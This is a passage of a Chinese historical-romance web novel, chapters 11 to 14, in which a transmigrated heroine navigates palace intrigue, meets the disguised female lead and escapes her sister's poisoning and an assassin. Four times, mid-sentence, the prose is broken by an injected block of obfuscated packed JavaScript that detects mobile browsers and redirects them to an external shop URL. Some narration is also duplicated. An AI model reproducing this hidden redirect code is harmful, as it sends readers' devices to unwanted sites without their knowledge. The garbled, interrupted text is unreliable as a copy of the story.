接下来,便该轮到她卖力演上一场苦情戏了。 林若妤垂落眼眸,神色慢慢黯淡下来,轻轻将那支白玉梅花簪缓缓推回他掌心,唇瓣轻抿,似有难言之隐。她微微咬着下唇,声音低柔又带着几分哽咽,“这簪子极好,只可惜,我日前在姐姐那儿看到了一只相似的。” 她顿了顿,语气愈发落寞,添上几分退让与成全,“若妤此次大病得愈,全靠姐姐悉心照料,又怎好收云峥哥哥这么重的礼。云峥哥哥…你与姐姐之间的情意,我都知道了。” 萧云峥闻言一怔,眉头微蹙,当即便要开口解释,欲要辩驳一二。 不等他说出口,林若妤红着眼睛捂住了他的嘴,“云峥哥哥,你别说了,若妤都明白的。”她睫毛轻颤,强压下喉间酸涩,故作黯然神伤,“我懂分寸,也知进退,不会再痴心妄想。只是这份心意终究难平,我……怕是没法笑着祝福你们。” 她站起来就往外走,看起来仿佛是被伤透了心,可只有她自己清楚,眼底的难过是演的,心头的慌乱却是真真切切,生怕再晚半步,门外那位隐藏身份的三皇子萧云景,便会被自家亲兄长一眼识破。 是,他那副装扮是挺不起眼的,但坐那儿的是他亲哥哥啊!保不齐就一个晃神想起来了点什么呢?原剧情这二位也没这么早碰上啊!万一因为她又出了什么岔子,她还怎么苟到大结局! 林若妤强装镇定,其实后背早已沁出一层薄汗。一路上车马颠簸,她垂着眼帘,指尖始终紧紧攥着衣袖,心口怦怦直跳。 好不容易踏入府中,快步回到自己的院落,合上房门的那一刻,悬在半空的心才彻底落回原处,一身的紧绷与惶恐尽数散去,总算稍稍缓过神来。 萧云景到似乎没事人一般,自顾自落座于窗前木榻,抬手提起桌上的青瓷茶盏,慢条斯理地给自己斟了一杯热茶。 热水入杯,氤氲出淡淡的茶香,他指尖轻握杯沿,姿态慵懒又散漫,眉眼沉静无波,不见半分局促,亦无半点波澜。 “过来,我看看你脉。” 林若妤被气笑了,这人还真当自己是府医了不成? “你的毒要是发了,可别怪我。” “来了来了。”她几乎是小跑着坐到了他身侧,忙不迭地把手腕递了过去。 “这么怕死,刚刚为什么不将我交给你的云峥哥哥?说不定,他能从我身上搜出解药呢?” 手腕被微凉的指尖压着,林若妤不想搭理他,这位祖宗这是在搭脉吗,这分明是在捏住自己的命门。把主角团的人交给反派?开什么玩笑,她又不是疯了。 “毒发了没?”她只关心自己的小命,谢谢。 指尖的脉象细弱飘忽,跳得又急又促,浮沉不定,全无平和之态。心脉悸乱,气脉郁结,是陡然受惊、神思不宁、情志骤惊引发的虚悸之象,分明是方才受了莫大惊吓,心神尚且未定。 他从怀中摸出一个拇指大的玉瓶,倒了一粒黑漆漆的米粒大小的药丸,递了过去,“快了,先吃一粒解药压一压。” 林若妤接过后迅速丢进口中,熟悉地苦涩味溢满口腔之后,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487567|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐疑地看向他,“这是解药?” 萧云景闻言煞有介事地低头确认了一下自己手中的玉瓶,讶异道,“好像是给错了。” “什…么…?”林若妤几乎控制不住自己的表情,她悲愤地指着他,想要控诉他怎么能如此草菅人命,却见眼前的人轻笑了一声,将手中的玉瓶塞进了自己的手中。 “每月一粒,若是忘了,谁也保不住你的小命。还有,你姐姐要走的侍女并非虞秋月,你再仔细看看白芷是谁。”他说完便留下仍在悲愤地指着他的小姑娘,回耳房去了。 林若妤扶着桌沿,怔怔坐了许久,好半天才缓缓回过神,紧绷的心弦一点点松懈下来。一想到过往种种,她心底顿时涌上一阵劫后余生的庆幸,在心里无声痛哭,她竟然真的好像仿佛似乎,成功抱上了主角团的大腿了。 女主居然早就在她身边了,她有救了!她就说这两日白芷怎么行踪不定的,突然一切都合理了起来。 呜呜呜,果然剧情诚不欺我! 书中人人忌惮、性情阴鸷偏执的三皇子萧云景,就算是主角团里手段莫测的变态,竟也是个有底线的变态。 往日里他口中时时挂着见血封喉的剧毒、骇人听闻的一百零八道酷刑,字字狠戾,吓得她日日提心吊胆,生怕哪天就落得凄惨下场。可如今细细想来,恐怕那些都只是虚张声势的恐吓罢了。 那日小湖边意外相遇,他强行喂她服下的那枚药丸,从来都不是害人的毒药,而是能护住她性命、化解体内隐患的良药。 原来从头到尾,他都没有真的要取她性命。 念及此处,林若妤长长松了口气,暗自庆幸自己捡回一条小命,更是暗自将萧云景默默划成了好人。 狠是狠了些,偏执阴郁也不假,但起码,算不上纯粹的穷凶极恶。 而另一边,在耳房静坐饮茶的萧云景丝毫没有料到,自己这一生为数不多、转瞬即逝的一次心软,竟被她曲解美化,稀里糊涂就划入了“尚有良知”的行列。 事实上,那一百零八道酷刑,并非随口编造的恐吓,确实是他实打实耗费心力研究而出,件件酷烈残忍,绝非虚言。 最初初见之时,他也的确动过杀心,本打算喂了毒药后拿捏住她,稍加利用,待万事稳妥、自身无虞后,便毫不犹豫除掉这个变数。 偏偏世事从来阴差阳错。 那日来到林国公府,真真不过是趁着人多踩点探查,谁知一进府便吃了个哑巴亏,根本不曾随身携带剧毒。怀中唯有一瓶常年备着、用以护体救命的秘药,被他随手拿来糊弄,本只想暂且稳住她、掩人耳目。 谁知一路纠葛不断,层层变故叠加,最后竟连整瓶药都尽数落在了她身上。 事实是… 他不过是被那个挡在自己身前的身影,略略晃了心神罢了。 他始终相信,只有将一个人捧上手握生杀大权的高位,才能真的看清楚这个人究竟对你怀着怎样的心思。 今日,刀分明已经递到了她的手上,她却将刀刃对准了自己。 原来…那个编得一手好故事,贪生怕死的小姑娘,真的从一开始,就是来救他的。 12. 第 12 章 林若妤在床上辗转反侧,几乎一夜未眠,好不容易熬到天光微亮,满心都是终于能见到女主的雀跃与急切。 其实昨天萧云景跟她说完之后她立刻就想跟女主互诉衷肠来着,奈何白露着人寻了好久也没寻到她的踪迹,一下子就给她急得坐立难安。 她刚知道女主存在的第一天,她就失踪了?不会出什么事了吧! 最后,还是萧云景黑着脸过来警告她消停些,说是女主另有要事,不可能天天守在她跟前,如若真的有什么要紧事就明天早上再找她。 林若妤悬着的心这才稍稍落地,可心底仍止不住暗自腹诽… 为什么这尊大神就没别的事情要忙呢?而且话说回来…她跟女主都搭上线了,他救命的药也给了,为什么还要待在她这儿啊… 接下来的事情,难道不是她跟女主对接就好了吗? 或许是她犹疑的神态太过直白,他甚至还耐着性子安慰了一句,“我一直在,有什么事找我就行。” …… 就是不想找你啊。 林若妤在心底深深叹了一口气,这真真是请神容易送神难了。 “白露。”不行,她忍不住了,她想见女主。 她在床榻上辗转了片刻,又耐着性子等了好一会儿,才见当值的小丫鬟匆匆把白露寻了过来。 白露许是刚被人从睡梦中叫醒,眉眼间还带着几分未散尽的睡意,脚步略显仓促地快步走近,伸手轻轻掀开床帐,声音还带着关切:“姑娘怎么醒得这么早?奴婢已经吩咐下去备水梳洗了,您不妨再稍躺会儿,等一切妥当了再起身。” “白芷回来了没?” 白露先是一愣,随即轻笑着回道:“后半夜才悄悄回来的,听她自己说,是姑娘早前吩咐她出去办事了。只是昨儿夜里,姑娘还急得团团转寻她,怎么今日…” 她话说到一半顿了顿,神色间有些踌躇,终究还是忍不住压低了声音,“姑娘,奴婢瞧着,白芷近来实在有些古怪,行踪不定,心思也沉。要不,奴婢悄悄让人去查一查她的底细?也好让姑娘安心。” “不必了。”林若妤心头一暖,知道白露句句都是真心护着自己,抬手轻轻揉了揉她的发顶,语气软了几分,“白芷的事情,你不用管了。我知道你是担心我,但我有分寸。” “姑娘,恕奴婢再多嘴一句,耳房那位…”白露抿了抿唇,说到此处下意识往侧门望了一眼,声音压得更低,“虽说他来去无踪,至今也只有奴婢与白芷二人知晓,旁人半点未曾察觉。可这实在是不合规矩,万一要让你知道姑娘你在自己的院子里藏了个…哎呀,那、姑娘你的清誉和名节可就全毁了。” 林若妤心中一软,伸手轻轻抱住了她,柔声安抚:“我的好白露,别害怕,不会有事的。这事很快就能解决了,我一直在想办法。等白芷一醒,你立刻便带她来见我,莫要耽搁。” 等一会儿女主来了她就跟女主商量,耳房那位不出意外应该马上就能走啦! 白露撇嘴,“姑娘既然急着要见她,现在叫过来就是了,哪儿那么金贵,还要等她睡醒。” 林若妤听了这话,一时也有些犹豫,可转念一想,往后少不得还要时常替白芷与女主打掩护,便松开了白露,神色渐渐郑重起来:“白露,你信不信我?” “奴婢当然信。”白露立刻应声,语气坚定,“奴婢待姑娘若有二心,必定…” 林若妤轻轻掩住她的唇,一字一句,说得认真,“你要是信我,就牢牢记住,从今往后白芷的事情,你千万不要过问,也不要为难她,便如同对待耳房那位一样,只当她是不存在的空气,视而不见便好。” “……是,奴婢记下了。”白露虽满心不解与担忧,但二姑娘鲜有这般郑重与她说话的时候,自是不敢违逆,垂首应了下来,“奴婢伺候姑娘起身吧。小厨房后半夜就一直温着姑娘爱喝的百合莲子银耳羹,奴婢还让她们备了虾饺、奶香花卷,再添一碟凉拌黄瓜配小米南瓜粥,清淡又养人,您看可好?” 林若妤刚要点头,忽然想起来,“我的冰石榴呢?” “萧公子昨日叮嘱奴婢,石榴不是当季的水果,又是从冰窖里取出来的,日日食用难免寒凉伤身,于姑娘无益,便定下规矩说,冰石榴每隔一旬只能吃一次。且姑娘本就饮食不佳,水果都叫移到午膳了。” 林若妤瞪大了眼睛,萧公子?这丫头方才还一口一个“耳房那位”,连个正经称呼都不肯给,怎么偏偏到了这事上,对他言听计从,规矩记得比谁都牢? 白露见她神色不虞,小心翼翼地问,“萧公子说,奴婢只管听她的,姑娘会听的…姑娘,您看?” 林若妤咬牙,“就按他说的办吧。” 好气,但这人是不是有点过分了解她了!这种一听就是为了身体好的话,她真的没法子不听。身体都垮了的话,苟到大结局有什么用? 难道要她从一个原定早亡的炮灰,硬生生熬成一个缠绵病榻、弱不禁风的炮灰,到最后只能躺在床上,眼睁睁看着男女主成双成对、岁月静好? 一想到那个画面,她顿时没了脾气。 白露见状在心里偷笑,对那位先前还让她满心戒备的萧公子,竟头一回生出几分感激来。 真好,如今她家姑娘总算肯把心思放在自己身上,学着顾惜身子,不再像从前那般,满心满眼只围着二皇子殿下打转,把自己折腾得半条命都没了还不肯消停。 等林若妤磨磨蹭蹭地用完了膳,终于看到白芷缓步进来的时候,已经是日上三竿了。她顾不得计较这么多,只急不可耐地准备吩咐房里的人都出去。 偏偏,就是在这个时候… “妹妹今日起的好早。”只见房门口不知何时立了一道身着浅绿罗裙的身影,正是她那位素来心思深沉的嫡姐,正眉眼温婉地望着她,笑意柔和。 林若妤头皮发麻地逼着自己目不斜视,一个多余的眼神都不往白芷和侧门那儿飘,只努力扬起恰到好处的笑意,“姐姐来啦,姐姐快进来坐。” “怎么还是这几个丫头。”林方雅款款落座,身姿端庄,笑意温婉,身后的红玉、绿幺一左一右侍立,目光不动声色地扫过屋内伺候的人。 她语气轻淡,却带着几分刻意的打量:“妹妹自上次落水醒过来后,便把院里的人换了个遍,那日还特意叫了牙婆进来选人,怎么没见你上次领回来的那个丫头……好像是叫双儿的?” “姐姐怎么问起这个。”林若妤似乎有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487568|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不解,随即转头看向白露,语气微沉,“白露,上次便跟你说了,让姐姐先挑了你再挑个能干活的回来就行,怎么这么不懂事,让姐姐隔了这么久还来寻人。” “二姑娘,奴婢不敢,可那日奴婢确实是等大姑娘挑完了人之后才敢选人的。” “越发没规矩了,还敢顶嘴。”林若妤故作愠怒,又扬声吩咐,“双儿如今安排在何处当值?还不快叫过来。” 说罢,她才又转向林方雅,笑意温顺,“双儿那丫头姐姐若是瞧着合心意,尽管带走便是,不过一个丫鬟罢了,哪里值得姐姐亲自跑这一趟。” 林方雅看着眼前这般恭谨周全、滴水不漏的妹妹,面上的笑意淡了几分。 这还是她从前那个莽撞冲动、心思浅显、一戳就破的妹妹吗? 若说之前换掉院里所有下人,尚且能算是落水后开了窍、懂得防备旁人,那如今这番言语得体、进退有度、半点破绽不露的模样,才真正让她心生忌惮。 原本她今日过来,不过是抱着两分试探的心思,随口寻个由头打探打探。 可此刻,看着眼前脱胎换骨的林若妤,她眼底掠过一丝沉色,这个不肯再像从前那般任人拿捏、乖乖听话的妹妹,她必须好好盘算一番,认真想想该如何处置了。 “不必了,我不过随口一问罢了,妹妹这倒是见外了。”林方雅轻轻摆了摆手,脸上笑意温婉,眼底却一片冰凉。 “今日过来,是特意告诉妹妹一声,沈家大姑娘给府上下了帖子,说是明日要来拜访,偏巧不巧,二皇子明日也会登门,要与父亲手谈一局。父亲特意吩咐了,怕是不便留沈家大姑娘用膳,明日你得陪着一同招待二皇子” 林若妤微微一怔,心头顿时一紧,面上却只露出几分为难:“晴芳过来,想必是要与我商议六日后诗社的事,怕是一时不太好送客。” “妹妹。”林方雅笑意不变,语气却轻轻沉了几分,直接打断了她的话,带着不容置疑的意味,“若是妹妹信不过我,难不成,还要劳父亲亲自过来与你说?” 林若妤抿唇,姐妹情深好难演,真的,尤其是对着一个想弄死自己的姐姐。 这位姐姐如今仗着抱上了太子的大腿,行事越发肆无忌惮,半点遮掩都懒得做了。 可话又说回来,她既然已经攀上了太子这棵大树,为何还要执意把她往二皇子身边推? 这般左右逢源、两头下注,难道就不怕最后鸡飞蛋打,两头都落不着好?难不成,是真想做棵风吹两边倒的墙头草? 可转念一想,又都明白了。 太子若是胜了,她不过是牺牲掉一个无关紧要的妹妹。 二皇子若是得势,她凭着往日经营的好人设,大可以转头再去依附。 从头到尾,被推到风口浪尖、担尽风险、最后可能粉身碎骨的,从来都只有她这个无足轻重、可以随意舍弃的妹妹罢了。 好一手算无遗策的如意算盘。 林若妤突然觉得自己学到了。 她看向眼前笑得温柔似水、眉眼温婉的姐姐,也缓缓勾起唇角。 路都明晃晃摆在眼前了。 只是这路谁能走得稳、谁能走得通,谁能走到最后,那可不一定。 13. 第 13 章 林方雅的裙摆刚转过廊角,衣料摩擦的轻响还未散尽,林若妤几乎是立刻抬眼看向白芷,眼底的急切几乎要溢出来,半点都藏不住。 她强压着心头翻涌的情绪,对着屋内侍立的一众仆婢沉声吩咐:“你们都先下去,没有我的吩咐,谁也不准进来。” “是。”白露躬身应下,领着一众丫鬟仆妇鱼贯退出,临出门前还不忘贴心地合上厚重的木门。 空旷的正房里,只剩下她和白芷两人。 白芷缓步上前,垂在身侧的手悄然比了个只有东宫暗卫才懂的手势,声音轻得像一阵风,温柔却清晰,“奴婢虞秋月,见过林二姑娘。” 林若妤瞬间眼眶一热,悬了这么久的心终于彻底落地。 真的是女主!萧云景那个阴晴不定的变态,总算是干了一回人事! 虽然眼前的人跟她的白芷长得真的是一模一样,甚至在众人都在的时候她都有些疑虑,直到此刻她才真的松了口气,这个世界的易容术,竟真的堪比换头。 她快步上前,一把攥住虞秋月的手腕,指尖都在微微发颤,“白芷呢?你们不会是把她…” “二姑娘放心,白芷姑娘已经被我们送去边城了,性命无虞。” 林若妤松了口气,随即含泪道,“秋月姐姐!我终于见到你了!那日我落水昏迷之后,梦中太子叮嘱我,若是想性命得保,务必要助你拿到弩箭设计图!还要务必保证你的安全,姐姐,太子对你真是情深一片,令人动容啊!” 说完这番话,林若妤在心底暗自长舒一口气。就当过去这些提心吊胆的日子全是演习,从这一刻起,她的人生终于要按着她熟知的剧本,走上正轨了! 虞秋月微怔,随即底掠过一丝了然,轻声道,“二姑娘不要误会,殿下派我前来,一是查国公府与二皇子私通弩箭图纸一事,二是护姑娘周全。既然三殿下既已在此处,许多事便好办得多。” “图纸现在在哪?”林若妤心中一振。女主果然是女主,行事干净利落,从不拖泥带水。她简直快要泪目,睁眼被困在这国公府这么久,终于算是正式踏上主线剧情了。 那张弓弩设计图,可是能将整个林国公府拖入万劫不复之地的催命符,半点马虎不得。 “极有可能藏在你父亲书房的暗格之中,或是仍握在兵部尚书刘瑸手中。”虞秋月语速极快,字字清晰,“只是国公府防卫严密,林泰又对书房寸步不离,我几番试探,始终没能找到靠近的机会。” 林若妤眉心微蹙。 书房…那可是林国公府的禁地,守卫森严,规矩重重。别说她这个不受宠的二姑娘,就连嫡出的林方雅,都不敢随意擅闯。 正低头思忖间,侧门悬挂的珠帘忽然轻轻一响,细碎的珠玉碰撞声在寂静的屋内格外清晰。 萧云景不知何时从耳房缓步走出,一袭素色锦袍,眉眼淡漠疏离,周身却自带一股慑人的冷冽气场。他目光淡淡扫过两人相握的手,语气平静无波:“明日便是一个好机会。” 虞秋月躬身行礼,“三殿下。” 林若妤收回热泪,假笑,“是啊是啊,我带着秋月姐姐里外进出,怎么都方便,你就放心吧。” 萧云景不知何时从耳房缓步走出,一袭素色锦袍,眉眼淡漠疏离,周身却自带一股慑人的冷冽气场。他目光淡淡扫过两人相握的手,语气平静无波:“明日便是一个好机会。” “怎么会。”她继续假笑。 “不是最好。”萧云景也笑,“我走了,你的小命,可就保不住了。” “咳咳咳…”林若妤被气的一口气差点没上来,她拉着虞秋月的手更紧了几分,恨不得当场控诉!能不能管管你们团队的这颗草菅人命的毒瘤! 虞秋月见状,轻轻轻抚她的后背,温声解围,“二姑娘莫怕,三殿下只是担心你的身体。他曾多次向太子殿下求药,都是为了姑娘,绝不会让你出事的。” 林若妤想哭,女主真的好温柔,跟萧云景完全不一样,她真的没有把这尊大佛送走的一丁点可能吗…她还想再挣扎挣扎,真的。 “死了这条心吧。”萧云景仿佛一眼看穿了她心底的盘算,负手而立,语气淡漠却字字诛心,“你的好姐姐,在你的汤药里下了整整两年的毒。即便如今停了药,毒性早已深入肌理,若无我在,你也只能等死。” 林若妤指尖骤然发冷,一股寒意从脚底直窜头顶,喉间更是泛起一阵熟悉的铁锈味。原来林方雅明知她早已停了汤药却毫无作为,并非心慈手软,而是在她眼中,自己早就是一个将死之人了。 她抬眸直视萧云景,烛火在他深邃的瞳底跳动,锋利如刃。 她声音微哑,带着一丝不易察觉的质问,“所以殿下早知我命悬一线,却偏偏等到此刻才说?” 烛影摇红,光影交错,映得他半边侧脸如刀削般冷峻凌厉。 他冷笑一声,语气带着几分讥讽:“怎么?太子在梦中既让你救弟弟,又让你护心上人,这般紧要的事,竟没有一并告诉你?” 林若妤喉头一哽,瞬间明白过来。难怪他一进来便阴阳怪气,原来方才她与虞秋月的一番对话,竟一字不落地全被他听了去。 她干笑两声,试图蒙混过关:“三殿下耳朵倒是灵得很。” 萧云景指尖轻叩案沿,声如寒玉相击,“灵不灵,暂且不论。” 烛火忽跃,映得他眼底幽光一闪,“林方雅今晨已向太子递了密折,言你‘神志昏聩,言行失常’,她说的症状,与你如今的状况其实毫不相干。” “你猜,她是不是又准备对你下点什么稀奇古怪的药了?”他顿了顿,目光扫过她苍白指尖,“所以,二姑娘,还想着赶我走么?” 本是同根生啊,姐姐!呜呜呜。 等第二日沈晴芳过来的时候,林若妤还有些恍惚。 沈晴芳一进门,便瞧见她斜倚在软榻上出神,鬓边碎发微微凌乱,眼底带着淡淡的青影,显然是没休息好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487569|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手中还攥着半块没吃完的桂花糕,一副心事重重的模样。 “这会儿才开始发愁做不出诗,是不是晚了点,林二姑娘。”她今日穿了一身鹅黄襦裙,裙摆绣着几枝新折的杏花,衬得她明艳如春日初绽,衬得她明艳动人,如春日里初绽的繁花,“昨儿还听说你这次准备‘花钱消灾’,怎么还一副愁眉不展的样子。” “你再不来,桂花糕可就要被我吃完了。”林若妤嗔了她一眼。 沈相的女儿,原主唯一的好朋友,真的是一看见她就没来由地亲切啊。 沈晴芳笑着在她身旁坐下,忽然凑近她耳畔,压低声音打趣,“听说你这次准备的彩头,全是二殿下亲自为你挑选的。今儿我还没进府,门房管事便明里暗里提醒我,二殿下午时要在府里用膳。” 她说着,轻轻推了林若妤一把,眼底满是笑意,“恭喜啊,看来有些人竟真的要守得云开见月明了。” “你就别笑话我了,我正为这事发愁呢。”林若妤苦笑,“那位二殿下分明早跟我姐姐勾搭到一起了,如今他们二人这般做派,指不定是联手给我设下圈套,就等着我往里钻呢。” “有这种事?”沈晴芳笑意微凝,指尖无意识捻起一枚桂花糕碎屑,“你确定不是误会?” “千真万确,如今我躲着这两人都来不及,更别说往上凑了。”林若妤杏眸微敛,“不说这个了,还有五日便是刘府的诗会了,你怎么这个时候来找我?” “若妤,你那日走得早不知道,刘尚书的那个庶女可当真是一鸣惊人。”沈晴芳忽将糕屑轻轻掸落,眸光微沉:“我总觉得此事蹊跷,昨儿我特意去查了她近三年的笔迹,墨色浓淡、落笔顿挫,竟无一处与诗会上那首《祝祷辞》相合。 更怪的是,那日她所用的松烟墨,是江南贡品,刘府庶女出身寒微,平日里向来只用最廉价的墨,怎么会那么巧,偏偏就是那日,花重金换了太子殿下最爱的那款松烟墨?” “墨色可伪,笔迹难欺,她就仿佛是…凭空变了个人一般。”沈晴芳见林若妤瞬间变了脸色,又宽慰道,“不过说起来你们俩还挺像的,她前段时间也是落了水,你们醒来之后都跟开了窍似的,要不我也去投个湖,指不定醒过来也能变成个大才女呢?” 林若妤几乎僵住了,有没有搞错啊! 兵部尚书的庶女,刘如慧。她甚至连这个名字都没有在书里看到过啊! 现在的情况是,她是一心想逆袭活命的炮灰,她姐姐是重生回来改命的炮灰,现在连一个原本无关紧要的尚书庶女,居然也是个“盗号”重来的异类?! 这本书究竟要开多少条支线啊! 她当初看的那本原书剧本,到底还能管什么用?这哪里是什么甜宠文,分明已经乱成一锅粥了! 林若妤指尖骤然掐进掌心,坚毅了神色,语气极为郑重地对沈晴芳道,“晴芳,今日你务必得帮我一个忙。” 变数太多了,她不敢也不能再拖了。 14. 第 14 章 “外面闹什么呢?”林方雅正在正厅布宴,听得外面吵吵嚷嚷的,眉头微蹙,“二殿下和父亲正在书房对奕,怎么如此没有规矩。” 正在吩咐小丫鬟摆青瓷盏的红玉闻言立刻向外走去,正撞伤一个匆匆忙忙进来禀报的丫鬟。 “大姑娘,不好了。”小丫鬟急道,“二姑娘和沈姑娘不知怎么吵起来了,两人正吵嚷着一路向书房过去,说是…说是要过去找二皇子殿下对峙呢。” 林方雅闻言冷哼,“走吧,去看看。” 不曾想,竟在离书房还有一段距离的回廊里,看到父亲和二皇子正一边挡着一个,颇为头疼的样子。 “怎么了这是。” 正躲在白露身后的林若妤见林方雅来了,竟直直扑了过来,一把抱住了她,“姐姐你可来了,你快帮我作证,是不是你跟我说二皇子来了不便待客,让我早点送客的。” 林方雅一听这话,就大概猜出这位妹妹的心思了,笑着应道,“是啊。到底沈大姑娘还未定亲,不比你与二皇子自小的情份,若是让人知道他们在我们府上单独用膳,怕是对沈姑娘的清誉有损。你也是,不知是怎么传话的,竟惹了沈姑娘不快,还要来冲撞贵客吗?” 林若妤还未来得及开口,就听沈晴芳冷笑,“林姐姐,你这话说得我倒是听不懂了。” “你们府上与二殿下交好,便说二姑娘与他是自小的情份。”她看向林方雅,眸色冷冽,“怎么,我沈府便与二殿下论不上交情吗?” 萧云峥心头一动,笑着打断三人的争执,“沈姑娘这是哪儿的话,京城里长大的孩子,谁不是自小的情分。” “是么。”沈晴芳似乎是气消了些,“沈大姑娘几次三番往外传消息,说是二殿下待二姑娘与众不同,就连过几日诗社的彩头,都是二殿下为博美人一笑一掷千金备下的。今日我刚坐下,二姑娘就要赶我走,我还以为,真当我沈府是上赶着巴结二位了呢。” “沈姑娘多心了。”萧云峥给林方雅递了一个眼色,似是不解地问道,“林大姑娘,这是怎么回事?” 沈相与林国公,一个桃李天下,一个手握重兵,母后好不容易才为他牵线搭桥笼络了两方势力,他可不想因为这些小儿女的事情影响了大局。 林方雅气结,沈晴芳自恃身份,分明就是在无理取闹,二皇子这是仗着与自己这么些年的交情,竟是当面就准备让自己圆谎了。 甚至就连父亲也投来了一个警告的眼神,仿佛是在告诉她,两边押宝的主意是她出的,可别在这档口因为这么点鸡毛蒜皮的事情出了事。 这些人,揣着明白装糊涂,几家的利益早就牵扯在一起了,怎么可能因为这么点事情便闹掰,不过是一个两个的,都准备拿她做筏子,当好人罢了。 林方雅用力攥紧了手,摆出一个温和的笑,“真是误会一场,街头传言怎可当真。也是怪我,本是为沈妹妹名声考虑,不想竟引得妹妹多心了,不如今日就留下一起用膳,权当我这个做姐姐的,给沈妹妹和二殿下赔不是了。” 沈晴芳这才缓了脸色,“林姐姐这话是言重了,既是误会,想来二殿下与贵府定然有要事相商,我怎好打搅,还是先回去了。” “沈妹妹说笑了,二殿下不过是来找父亲下棋,顺便留膳罢了,没有什么不方便的。”林方雅迅速转变态度,诚恳相邀道,“沈妹妹,还请务必赏脸。” “那好吧。”沈晴芳笑得明媚。 林方雅回之一笑后,看向一边乖乖缩在父亲身后的林若妤,见她正乖乖缩在父亲身后,纤弱的肩头微微绷紧,像只受惊的小兽,低垂着眼帘,不敢与任何人对视。 她的笑意更深,眸光却越发冷冽,她这个妹妹…真真是留不得了。 原本自己还想成全了她一片痴心,不想她竟是这般不识抬举。 既然不想上她备好的这条船,那很快她就会知道,再没有哪条船是她能登的上去的了。 这一顿饭表面上吃得宾主尽欢,直至晚间方散。可回了房之后的林若妤确只觉冷汗浸透了衣衫,蔫蔫地,面色苍白如纸。 白露伺候着她躺下后,一股难以言喻的疲惫感便席卷而来,连同着莫名的眩晕,让她再也支撑不住,只勉强低声吩咐了一句,白芷一回来就叫醒她,便昏睡了过去。 这一觉睡得极不踏实,她在梦魇中只觉得眼前仿佛刀光剑影,自己也置身于烈火烹油之中,一阵寒一阵热,意识被缠在黏稠的混沌里,她拼命想要睁眼,四肢却重如千斤,怎么挣扎都醒不过来。 蓦地,鼻尖忽然钻进一股极刺鼻、极醒神的辛辣气味,直冲脑门。她猛地一呛,胸腔剧烈起伏,接连咳了好几声,这才挣脱了梦境。 一只温热的手轻轻覆在她后背,顺着她的脊背缓缓顺气,带着让人安定的温度。她此刻浑身虚软,连转头的力气都没有,更分不出心神去辨认来人,只借着那只手的力道,勉强坐直了身子。 等缓过劲来,看到坐在自己床边的是谁时,她心头骤然一紧,又是一阵急咳,咳得肩膀都轻轻发抖,方才稍稍平复的气息再度乱了。 “咳咳咳…你,你怎么在这里!”林若妤又气又急,脸颊因惊怒与咳嗽泛起薄红,连忙推他,“三殿下竟想学下作手段,做无耻之人不成?” 萧云景没理会她小猫挠痒似的力气,微微用力制住了她乱动的手,没接她的话,只下巴微抬,示意她看桌边。 林若妤顺着他的目光抬眼看去,只觉得心口一窒,她看见了什么?!一个黑衣人,正在把另一个不知是昏了还是没气了的黑衣人往肩上扛? 室内死寂得可怕,昏暗的烛光让她看不太真切,只觉得一滩浓黑黏腻的色泽在暗处泛着冷光,刺得她眼睛发疼。 不会是…血吧?! 林若妤浑身一颤,指尖冰凉,勉强颤着声音开口问道,“这是…” “你中了醉仙散,份量极轻,不易察觉却让人沉睡后不易醒来。”萧云景放开了她,扶她坐好,“子夜时分你的院子便进了个鬼鬼祟祟的人,直奔你房间而来,若不是我的人拦下了,只怕你此时即便不是身首异处,也没有指责别人无耻下作的机会了。” 林若妤闻言沉默了瞬间,随即轻声道,“多谢三殿下…救命之恩。” 唔,难得的乖巧。萧云景原本还准备嘲讽两句,见状也只得收敛,“虞秋月回东宫复命了,今夜不在这里,你有什么疑问,都可以问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487570|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。” “是我姐姐?” “嗯。”没有模棱两可,没有隐晦回避,就这么简单的肯定了这件事。 林若妤后背生凉,“居然在国公府动手,她一点也不想着怎么善后吗?” 